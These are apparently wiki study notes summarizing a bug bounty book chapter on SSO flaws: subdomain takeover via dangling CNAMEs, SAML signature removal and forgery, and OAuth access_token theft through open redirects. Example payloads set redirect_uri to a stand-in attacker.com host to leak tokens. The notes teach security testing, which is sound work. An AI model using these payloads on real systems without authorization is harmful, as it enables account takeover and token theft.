====== BBC Ch 20: Single Sign-On (SSO) Security Issues ======

//Source: Bug Bounty Bootcamp by Vickie Li//

SSO lets users log in once and access multiple services. Three common implementations: cookie sharing, SAML, and OAuth. Each has unique vulnerabilities.

===== Cookie Sharing =====

Sites under the same parent domain can share session cookies using the ''Domain'' flag:
<code>
Set-Cookie: cookie=abc123; Domain=example.com; Secure; HttpOnly
```

This cookie is sent to all subdomains of ''example.com''. Compromise of any subdomain means compromise of all services in the SSO.

==== Subdomain Takeovers ====

When a company uses a third-party service (GitHub Pages, AWS S3, Bitbucket) for a subdomain via a DNS CNAME record, and later removes the third-party page without removing the CNAME, the abandoned record is called a **dangling CNAME**.

Anyone who registers that third-party URL gains control of the company's subdomain. If cookie-sharing SSO is in use, the attacker can steal session cookies by hosting a script that reads the automatically-sent shared cookies.

**Vulnerable providers (as of book publication):** AWS, Bitbucket, GitHub Pages
**Not vulnerable:** Squarespace, Google Cloud
Full list: https://github.com/EdOverflow/can-i-take-over-xyz/

**Hunting subdomain takeovers:**
  - Enumerate all subdomains (Amass, Subfinder, Sublist3r)
  - Screenshot each (EyeWitness, Snapper) -- look for "There isn't a GitHub Pages site here" or equivalent provider 404 signatures
  - If dangling CNAME found: register the page on the third-party provider; host a harmless PoC page
  - Check whether shared cookies are sent to your newly registered subdomain
  - Build a cron-job monitoring system: ''30 10 * * * ./subdomain_takeover.sh''

===== SAML Vulnerabilities =====

SAML uses signed XML assertions to communicate identity from an identity provider to a service provider:
<code xml>
<saml:Signature>
  <saml:SignatureValue>dXNlcjE=</saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
  <saml:Attribute Name="username">
    <saml:AttributeValue>user1</saml:AttributeValue>
  </saml:Attribute>
</saml:AttributeStatement>
```

**Common SAML bugs:**
  * No signature at all -- tamper with the username field directly
  * Signature only validated when present -- remove the signature field to bypass validation
  * Weak/predictable signature -- in the example above, the signature is just ''base64(username)''; compute ''base64("victim_user")'' and forge a valid assertion
  * Encryption without signature -- encryption protects confidentiality, not integrity; encrypted messages can be tampered with

**Hunting SAML vulnerabilities:**
  - Proxy traffic during login; look for XML or keyword ''saml'' (may be base64-encoded)
  - Analyze which fields determine identity (username, email, userID)
  - Tamper with identity fields -- if no signature: see if the service provider accepts modified assertions
  - Try removing or emptying the signature field
  - Check whether the signature is predictable (base64, MD5, etc.)
  - Re-encode modified message (SAML Raider Burp extension helps with editing and re-encoding)

===== OAuth Token Theft =====

OAuth flow:
<code>
1. Service provider requests authorization from identity provider:
   identity.com/oauth?client_id=X&response_type=code&state=STATE&redirect_uri=https://example.com/callback&scope=email

2. Identity provider redirects with authorization code:
   https://example.com/callback?authorization_code=abc123&state=STATE

3. Service provider exchanges code for access_token:
   identity.com/oauth/token?client_id=X&client_secret=Y&redirect_uri=https://example.com/callback&code=abc123

4. Identity provider returns access_token:
   https://example.com/callback?#access_token=xyz123
```

''access_token'' is in the URL fragment (''#''), which survives cross-domain redirects.

**Vulnerability: stealing access_token via open redirect in redirect_uri**

If ''example.com'' has an open redirect at ''/callback?next='' and the OAuth allowlist permits ''example.com/*'':
<code>
redirect_uri=https://example.com/callback?next=attacker.com
```

Flow:
<code>
https://example.com/callback?next=attacker.com#access_token=xyz123
  -> https://attacker.com#access_token=xyz123  (attacker sees the token in server logs)
```

**Chained redirect via open redirect on another endpoint:**
<code>
redirect_uri=https://example.com/callback?next=example.com/logout?next=attacker.com
```

**Referer-based redirect:** link to the OAuth login from your malicious page; ''example.com/callback'' redirects to the HTTP Referer (your domain); token leaks in the Referer.

**Long-lived tokens:** test whether tokens remain valid after logout and after password reset.

**Hunting OAuth token theft:**
  - Confirm OAuth usage: look for the ''oauth'' keyword in intercepted traffic
  - Find open redirects on the target domain (Ch7 techniques)
  - Try setting the ''redirect_uri'' to an open redirect URL on an allowlisted domain
  - Monitor your server for the incoming token in URL fragment or Referer

===== Escalating SSO Attacks =====

  * SSO bypass usually enables account takeover -- inherently high severity
  * Target high-privilege accounts (admin)
  * After taking over one account, try to access other services in the same SSO system
  * Automate takeover of large numbers of accounts for impact demonstration

===== 5-Step Checklist =====

  - Identify the SSO mechanism in use (cookie sharing, SAML, OAuth).
  - If cookie sharing: hunt for subdomain takeovers with dangling CNAMEs.
  - If SAML: locate the SAML response; tamper with identity fields; try removing or forging the signature.
  - If OAuth: find open redirects on allowlisted domains; try smuggling the access_token via redirect_uri manipulation.
  - Escalate by targeting admin accounts; draft report with a full account takeover PoC.